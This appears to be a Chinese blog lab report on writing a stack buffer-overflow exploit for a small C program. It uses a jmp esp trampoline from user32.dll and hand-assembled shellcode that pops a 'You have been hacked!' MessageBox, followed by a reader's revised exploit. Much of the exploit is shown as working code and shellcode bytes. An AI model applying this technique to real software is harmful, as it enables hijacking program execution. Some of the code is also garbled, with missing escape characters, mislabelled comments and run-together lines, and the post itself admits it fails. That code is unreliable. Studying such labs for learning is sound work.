一、实验内容

利用一个程序漏洞,编写shellcode,达成效果:蹦出对话框,显示“You have been hacked!(by JWM)”

二、实验原理

因为输入了过长的字符,而缓冲区本身又没有有效的验证机制,导致过长的字符覆盖了返回地址。如果覆盖的返回地址是一个有效地址,而在该地址处又有有效的指令,那么系统就会毫不犹豫地跳到该地址处去执行指令。

本次实验中用到了跳板(jmp esp)

由于操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的位置实际是不固定的,通过硬编码覆盖新返回地址的方式并不可靠。为了能准确定位shellcode的地址,需要借助一些额外的操作,其中最经典的是借助跳板的栈溢出方式。

如果在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令jmp esp——跳板。那么函数返回后,会执行该指令并跳转到esp所在的位置。这样,不管程序被加载到哪个位置,最终都会回来执行栈内的代码。

跳板指令从哪找呢?“幸运”的是,在Windows操作系统加载的大量dll中,包含了许多这样的指令,比如kernel32.dll,ntdll.dll,这两个动态链接库是Windows程序默认加载的。而且更“神奇”的是Windows操作系统加载dll时候一般都是固定地址,因此这些dll内的跳板指令的地址一般都是固定的。我们可以离线搜索出跳板执行在dll内的偏移,并加上dll的加载地址,便得到一个适用的跳板指令地址!

OllyDBG命令: 
- F8 单步执行 
- F2 设置断点 
- F7 进入函数 
- F9 运行到断点 
- Ctrl g 打开地址

三、实验体会

i春秋老师讲解得非常中肯,形象生动,解决了困扰我多时的疑惑。虽然感觉这次步骤多、工程大、用时久,但终究还是解决了困扰我多时的疑惑,比一个人默默看博客要好理解得多。

从前只会用msf生成现成的shellcode,并不懂得其中原理,而这次实验不同,从源码进行分析,手动编写C语言、汇编语言,亲眼见证了shellcode机器码如何生成,加深了对windows系统API库函数、函数调用堆栈、程序逆向的理解,收获颇丰。

本次实验只是本地缓冲区溢出漏洞利用,如何远程利用漏洞,开启shell,还值得进一步学习。

参考资料: 
- i春秋《缓冲区溢出分析》 
- http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

四、过程记录

1、带有漏洞的程序

#include "stdio.h"
#include "string.h"
char name[] = "jiangwe";
int main()
{char buffer[8];strcpy(buffer, name);printf("%s",buffer);getchar();return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

2、漏洞利用

(1)选取跳板

如何让程序跳转到esp的位置呢?我们这里可以使用jmp esp这条指令。jmp esp的机器码是0xFFE4,我们可以编写一个程序,来在user32.dll中查找这条指令的地址(当然,jmp esp在很多动态链接库中都存在,这里只是以user32.dll作为例子):

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>int main()
{BYTE *ptr;int position;HINSTANCE handle;BOOL done_flag = FALSE;handle = LoadLibrary("user32.dll");if(!handle){printf("load dll error!");exit(0);}ptr = (BYTE*)handle;for(position = 0; !done_flag; position++){try{if(ptr[position]==0xFF && ptr[position+1]==0xE4){int address = (int)ptr + position;printf("OPCODE found at 0x%x\n", address);}}catch(...){int address = (int)ptr + position;printf("END OF 0x%x\n", address);done_flag = true;}}getchar();return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38

可以看到,这里列出了非常多的结果。(我自己动手敲的时候VC链接报错,于是直接使用i春秋的图)。我们随便取出一个结果用于实验。这里我选择的是倒数第二行的0x77e35b79。也就是说,需要使用这个地址来覆盖程序的返回地址。这样,程序在返回时,就会执行jmp esp,从而跳到返回地址下一个位置去执行该地址处的语句。

至此可以先总结一下即将要编写的“name”数组中的内容,经过分析可以知道,其形式为AAAAAAAAAAAAXXXXSSSS……SSSS。其中前12个字符为任意字符,XXXX为返回地址,这里我使用的是0x77e35b79,而SSSS是想要让计算机执行的代码。

(2)获取shellcode中API函数的地址

下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以首先需要获取该函数的地址,这可以通过编写一个小程序来获取:

#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{ HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary("user32");//获取user32.dll的地址printf("user32 = 0x%x", LibHandle);//获取MessageBoxA的地址ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");printf("MessageBoxA = 0x%x", ProcAdd);getchar();return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

(3)编写汇编代码

将写汇编之前必要的信息罗列一下:

最终的汇编代码:

int main()
{_asm{sub esp,0x50  //抬高栈帧xor ebx,ebx   //清零push ebx     // 分割字符串push 0x20676e69   push 0x6e726157    // push "Warning"mov eax,esp   //用eax存放“Warning”的指针push ebx             // 分割字符串  push 0x2020292epush 0x592e4a20push 0x79622821push 0x64656b63push 0x6168206epush 0x65656220push 0x65766168push 0x20756f59   // push "You have been hacked!(by Jwm)"mov ecx,esp      //用ecx存放该字符串的指针    push ebxpush eaxpush ecxpush ebx   //MessageBox函数参数依次入栈mov eax,0x77d507eacall eax        // call MessageBoxpush ebx  //ExitProcess函数参数入栈mov eax, 0x7c81cafacall eax       // call ExitProcess}return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

(4)得到shellcode机器码

在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击Disassembly,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):

抽取出这些机器码,写入漏洞程序的数组中:

#include <windows.h>
#include <stdio.h>
#include <string.h>
char name[] = "x41x41x41x41x41x41x41x41"  // name[0]~name[7]"x41x41x41x41"                      // to Overlap EBP"x79x5bxe3x77"                      // Return Address(Address of "Jmp eax")"x83xECx50"                           // sub esp,0x50"x33xDB"                                // xor ebx,ebx"x53"                                     // push ebx"x68x69x6Ex67x20""x68x57x61x72x6E"                  // push "Warning""x8BxC4"                                 // mov eax,esp"x53"                                      // push ebx"x68x2Ex29x20x20""x68x20x4Ax2Ex59""x68x21x28x62x79""x68x63x6Bx65x64""x68x6Ex20x68x61""x68x20x62x65x65""x68x68x61x76x65""x68x59x6Fx75x20"   // push "You have been hacked!(by Jwm)""x8BxCC"                        // mov ecx,esp"x53"                          // push ebx"x50"                          // push eax"x51"                          // push ecx"x53"                          // push ebx"xB8xeax07xd5x77"               "xFFxD0"             // call MessageBox“x53”“xB8xFAxCAx81x7C”"xFFxD0";            // call MessageBoxint main()
{char buffer[8];strcpy(buffer, name);printf("%s",buffer);getchar();return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40

最终成果达到漏洞利用:

当输入回车,main执行完getchar(),即将退出时,跳转到修改过的返回地址,随即通过跳板执行当前ESP指向的指令(即Shellcode)

3、OllyDBG验证

明显看出name[]数组时怎样溢出、覆盖的。

==================================================================================
看了那么多文章这篇是收获最大的,但是里面出现了很多错误(或者说笔误),按照上面的代码弹不出来messagebox,我对这个程序进行了小改动,如下:
// test2.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"#include <windows.h>
#include <stdio.h>
#include <iostream>using namespace std;// jmp esp 0x75e18c25
// MessageBoxA 0x7607fdae
// ExitProcess 0x75e079b0typedef void(*MYPROC)(LPTSTR);char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41"  // name[0]~name[7]
"\x41\x41\x41\x41"                      // to Overlap EBP
"\x25\x8c\xe1\x75"                      // Return Address(Address of "Jmp eax")
"\x83\xEC\x50"                           // sub esp,0x50
"\x33\xDB"                                // xor ebx,ebx
"\x53"                                     // push ebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E"                  // push "Warning"
"\x8B\xC4"                                 // mov eax,esp
"\x53"                                      // push ebx
"\x68\x2E\x29\x20\x20"
"\x68\x20\x4A\x2E\x59"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by Jwm)"
"\x8B\xCC"                        // mov ecx,esp
"\x53"                          // push ebx
"\x50"                          // push eax
"\x51"                          // push ecx
"\x53"                          // push ebx
"\xB8\xae\xfd\x07\x76"
"\xFF\xD0"             // call MessageBox
"\x53"
"\xB8\xb0\x79\xe0\x75"
"\xFF\xD0";            // call ExitProcessvoid fun1()
{HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary("user32");//获取user32.dll的地址printf("user32 = 0x%x \n", LibHandle);//获取MessageBoxA的地址ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");printf("MessageBoxA = 0x%x \n", ProcAdd);
}__declspec(noinline) void fun2()
{char buffer[8];strcpy(buffer, name);cout << buffer;//printf("最终 buff : %x \n", buffer);__asm mov eax,eax
}int _tmain(int argc, _TCHAR* argv[])
{__asm mov eax, eaxfun1();fun2();__asm mov ebx, ebxgetchar();return 0;
}

注意:

1.要用release编译,debug编译之后strcpy只会自动生成校验代码,检测程序溢出,导致溢出失败
2.必须加载user32.dll,应为要调用MessageBox这个API,不加载其动态连接库怎么调用?
3.要使用__declspec(noinline),否则使用release编译之后两个函数都会内联,强制不内敛就行了
4.fun2函数必须使用buff(最起码输出一下),要不编译器一看没人使用,直接回忽略掉这个缓冲区
5.可悲的是注意了这么多细节,最后结果依然是在执行shellcode之初时程序奔溃,不过我们也从此明白了溢出原理,

缓冲区溢出漏洞攻击——Shellcode编写相关推荐

  1. 缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)

    实验内容: 分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去. ...

  2. 验证本地缓冲区溢出漏洞攻击

    Info:本篇主要是为了验证本地缓冲区溢出,这是理解缓冲区溢出攻击的第一步,有了这一步,才能更深刻的理解到什么是缓冲区漏洞攻击,从而对以后的学习奠定一定的基础(注意:以下请在linux环境下实验) 基 ...

  3. 缓冲区溢出漏洞攻击原理

    转自互联网 0x00 缓冲区溢出概念 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上, 理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但 ...

  4. php crypt函数缓冲区溢出漏洞,简单缓冲区溢出漏洞攻击实验

    缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回 ...

  5. 缓冲区溢出漏洞攻击之用户登录

    登录程序模拟 在以下程序中,可以使用三种不同的方法检查用户输入的账号和密码是否与存储的用户名和密码匹配.通过编译生成可执行文件,并对其进行测试.该程序会将用户输入的账号.密码与名为password.t ...

  6. 浅析缓冲区溢出漏洞的利用与Shellcode编写

    文章目录 前言 汇编语言 寄存器 内存堆栈 CPU指令 函数调用 缓冲区溢出 栈溢出原理 栈溢出攻击 ShellCode 总结 前言 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经 ...

  7. Linux实验——缓冲区溢出漏洞实验

    Linux实验--缓冲区溢出漏洞实验 20125121 一.     实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代 ...

  8. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  9. 缓冲区溢出漏洞_缓冲区溢出漏洞简介

    缓冲区溢出漏洞 重点 (Top highlight) 缓冲 (Buffer) A buffer is a temporary storage, usually present in the physi ...

最新文章

  1. ubuntu 下非交互式执行远程shell命令
  2. Python实现链表
  3. 客户端读写hdfs数据
  4. LeetCode Generate Parentheses
  5. Hadoop2异常分析(一):hdfs移动数据至 hive,为什么原数据没有了?
  6. 前端工作面试问题(下)
  7. Linux 中断实验
  8. 使用Google OAuth 2.0存取Google API (Google Client ID)
  9. 基于Keras的YOLOv4目标检测平台
  10. SAP链接外部数据库的实现方法
  11. Windows下Python3.6安装PIL
  12. igbt原理动画演示视频_igbt的结构原理与特性图解
  13. 扒一个超棒的stm32的开源usb-can项目,canable及PCAN固件
  14. 曾抵押房子炒币、与老婆差点离婚! 如今这位80后中科院博士竟...
  15. C# dataGridView中插入excel表格
  16. Python爬取古诗词
  17. ANSYS APDL
  18. sql面试题,查询出每班每科最高分的学生
  19. 从豆瓣看《长安十二时辰》如何成为爆款IP?
  20. 用sed删除匹配到字符串的行

热门文章

  1. es6语法-箭头函数
  2. RedisRDB持久化机制
  3. 多值参数-定义及作用
  4. 工厂方法源码解析(jdk+logback)
  5. 图的最短路径(一级)
  6. Bootstrap组件_警告框
  7. 点击按钮创建一个表格 点击按钮创建一个表格 权限选择 元素的value属性操作
  8. python matlib库_python matplotlib 库学习
  9. (java ee,Eclipse J2EE最新版官方下载(Eclipse for Java EE Developers)
  10. MySQL zip版本安装说明